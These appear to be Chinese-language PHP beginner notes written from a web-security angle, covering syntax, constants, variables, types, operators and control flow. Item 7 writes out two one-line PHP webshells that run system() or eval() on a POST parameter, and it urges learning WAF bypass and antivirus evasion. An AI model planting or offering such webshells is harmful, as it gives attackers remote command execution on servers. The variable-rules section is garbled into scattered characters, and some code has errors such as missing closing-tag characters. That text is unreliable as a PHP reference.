PHP基础:
php基础
1.介绍:
静态网页:通过url直接访问文件
动态网页:通过动态引擎访问文件
特点:
A.交互性:根据要求和选择二动态的改变和响应
B.自动更新
C.因时因人而变:不同时间,不同用户访问不同页面
2.判断伪静态的方法:
将1.html换成1.php或者1.asp测试注入点
3.
bs(brower sever)浏览器去访问服务器 应用:(在线ps)
优点:有浏览器就可以访问,开发低
缺点:开发源码都放在服务器上,胖服务器–瘦服务器
cs()客户端到服务器 应用(qq)
优点:可以开发客户端和服务器端,这时候可以实现负载的均衡
缺点:必须安装一个软件才能访问,开发成本高
4.各类代码风格
php:<?代码?> 或者<?php php代码?>(XML风格)
asp:<% 代码%>
脚本风格:<script language =” php”>代码 </script>
XML风格:<?php 代码?>
5.php相关配置文件
php.ini是php的配置文件,
需要将shorf_open_tag和asp_tags设置成no
6.学习php需要查手册:php manual
7.一句话木马:
<?php
@system($_POST[‘XSS’]);
>
或者:
<?php
@eval($_POST[‘XSS’]); //注意:这里@符是硬质错误输出
>
***写木马要学会绕waf免杀 ***
8.注释符:
shell:(#后边有空格是注释,没有空格直接调用)
php:
A.单行注释: //
B.多行注释:(*/。。。*/)注:不能嵌套:不能以?>出现作标志
C.风格注释:(#)不建议
9.输出语句:
A.print:输出成功返回1
B.print_r():输出数组
C.var_dump():输出数据的详细信息,带有数据类型和数据长度
D.echo:输出
10.删除一个变量:
unset $var 删除变量
isset $var 判断变量是否为空
11.常见常量:
使用定义常量函数:
define(常量名,值,[是否区别大小写]) true表示不区分大小写,默认是false;常量名称默认大写。
PHP5.3以后可以使用 const 定义常量:const 常量名='常量值';
定义常量可以用特殊字符,但是在调用的时候必须用constant
关键字调用
预定义常量:
PHP_VERSION php版本号
PHP_OS PHP操作系统
PHP_INT_MAX PHP中整形的最大值
魔术常量:注意:两边的符号是两个_ _而不是一个
__LINE__ //获取当前行号
__FILE__ //文件的完整路径和文件名
__DIR__ //文件所在的目录
__FUNCTION__ //函数名称(PHP 4.3.0 新加)。
__CLASS__ //类的名称
__TRAIT__ //Trait 的名字
__METHOD__ //类的方法名
__NAMESPACE__ //当前命名空间的名称
12.变量:(php中区分大小写)
定义:
变量是可以改变的。
变量是存在名字的。
变量是用来存储数据的。
变量是通过名字来访问数据的。
定义变量的规则:
A. 变量必须以
开
头
,
开头,
开头,符不是变量的一部分,仅表示后面的标识符是变量名。
B. 除了
以
外
,
以
字
母
、
下
划
线
开
头
,
后
面
跟
着
数
字
、
字
母
、
下
划
线
。
C
.
变
量
名
区
分
大
小
写
,
以外,以字母、下划线开头,后面跟着数字、字母、下划线。 C. 变量名区分大小写,
以外,以字母、下划线开头,后面跟着数字、字母、下划线。C.变量名区分大小写,aa和$Aa是两个空间。
常见预定义变量:
$_GET: 获取所有表单以 get 方式提交的数据。
$_POST: POST 提交的数据都会保存在此。
$_REQUEST: GET 和 POST 提交的都会保存。
$GLOBALS: PHP中所有的全局变量
$_SERVER: 服务器信息
$_SESSION: session会话数据
$COOKIE: cookie 会话数
$_ENV: 环境信息
$__FILES: 用户上传的文件信息
PHP 有四种不同的变量作用域:
local
global 关键字
static 作用域
parameter
值传递:将变量保存的值赋值一份然后将新的值给另外一个变量保存:两个变量使用各自的内存,互不干扰(两个变量没有关系)。
引用传递:将变量保存的值所在的内存地址,传递给另外一个变量:两个变量指向同一块内存空间(两个变量是同一个值)。
引用变量举例:
13.类型数据:
A.在 PHP 中指的是存储的数据本身类型,而不是变量类型。PHP是一种弱类型语言,变量本身没有数据类型PHP 支持8种类型,包括:
4种标量类型,即boolean(布尔型)、integer(整型)、float/doule(浮点型)和sting(字符串类型);
2种复合类型,即array(数组)和object(对象);
2中特殊类型,即resource(资源)和null。
B.类型判断
通过一组类型判断函数,来判断变量,最终返回这个变量所保存数据的数据类型(相同结果为 true,失败为 false):是一组以 is_开头后面跟类型名字的函数:is_类型(变量名)
Bool类型不能用 echo 来查看,可以使用 var_dump结构查看:var_dump(变量1,变量2,…)
举例:
<?php
$a = 1;
var_dump(is_int($a)) ?>
标量数据类型:
boolean(布尔型) 这是最简单的类型。只有两个值,真(true)和假(false)
string (字符串型) 字符串就是连续的字符序列,可以是计算机所能表示的一切字符集合
integer (整型) 整型数据只能包含整数。这些数据类型可以是正数或负数
float (浮点型) 浮点类型用于存储数字,和整型不同的是它有小数位
整数:
进制转换表:
十进制:dec decimalist
二进制:bin binary
八进制:oct octonary
十六进制:hex hexdecimalist
例如:
echo decbin(123),'<br>'; //十进制转二进制
echo bindec(1111011),'<br>'; //二进制转十进制
echo dechex(123),'<br>'; //十进制转十六进制
echo hexdec('7b'),'<br>'; //十六进制转十进制
echo decoct(123); //十进制转八进
14.特殊运算符:
c语言中:
取地址:&取地址运算符
取内容:*取内容运算符
A.算数运算符:
加法运算 + $a + $b
减法运算 - $a - $b
乘法运算 * $a * $b
除法运算 / $a / $b
取余数运算 % $a % $b
例如:
$num=5;
echo (++$num)+(++$num)+(++$num); //21 6 7 8
-------------------------
$num=5;
echo ($num++)+($num++)+($num++); //18 5 6 7
B.比较运算符:
< 小于(左边小于右边,返回结果true) $m < $n
> 大于(左边大于右边,返回结果true) $m > $n
<= 小于等于(左边小于或者等于右边,返回结果true) $m <= $n
>= 大于等于(左边大于或者等于右边,返回结果true) $m >= $n
== 等于(左边的与右边的相同(大小相同)) $m <== $n
!= 左边的与右边的不同(大小不同) $m != $n
=== 全等于,左边与右边相同:(大小以及数据的类型都要相同) $m === $n
!== 不全等于,只有大小或者类型不同 $m !== $n
C.逻辑运算符:
&&或and(逻辑与) $m and $n 有一个为假即为假
||或or $m || $n 有一个为真即为真
!(逻辑非) !$m 当$m 当这个条件为假时,输出。。
xor(逻辑或与) $m xor $n 当$m 和 $n 一真一假时,返回true
D.字符运算符
echo 'aa'.'bb'; //字符串链接 aabb
15.运算符的优先级:
If(条件表达式){
//满足条件后执行的代码段;
}else{
//不满足条件执行的代码段;
}
例:
<?php
header("Content-Type:text/html;charset=utf-8");
$num = rand(1,10);
if ($num % 2 == 0){
echo "$num".'<br>';
echo '$num 为偶数';
}
else{
echo "$num".'<br>';
echo '$num 为奇数';
}
If(条件表达式1){
//满足条件表达式1的代码段;
}elseif(条件表达式2){
//不满足表达式1条件,但是满足表达式2的代码;
}… //可以使用多个elseif来进行再次条件筛选
else{
//全部不满足要执行的代码;
}
例:
<?php
header("Content-Type:text/html;charset=utf-8");
$num = rand(1,10);
if ($num % 2 == 0){
echo "$num".'<br>';
echo '$num 为偶数';
}elseif($num % 2 !== 0){
echo "$num".'<br>';
echo '$num 为奇数';
}
else{
echo '数据错误';
}
Switch(条件表达式){
//所有条件判断:逐个进行
Case 值1: //当前条件表达式的结果与值1相等(==)
要执行的代码段;
Break; //匹配成功停止匹配
Case 值2:
要执行的代码段;
Break;
…
Default: //可以使用类似else的语法:都不匹配
//匹配失败的代码;
Break;
}
16.循环语句:
for(初始值;条件;增量){
//循环体
}
$sum = 0;
for($i = 1;$i <= 10;$i++){
$sum += $i;
}
echo $sum;
17.for循环的死循环
<?php
for($i=1; ;$i++){
} //只要没有循环条件就会是死循环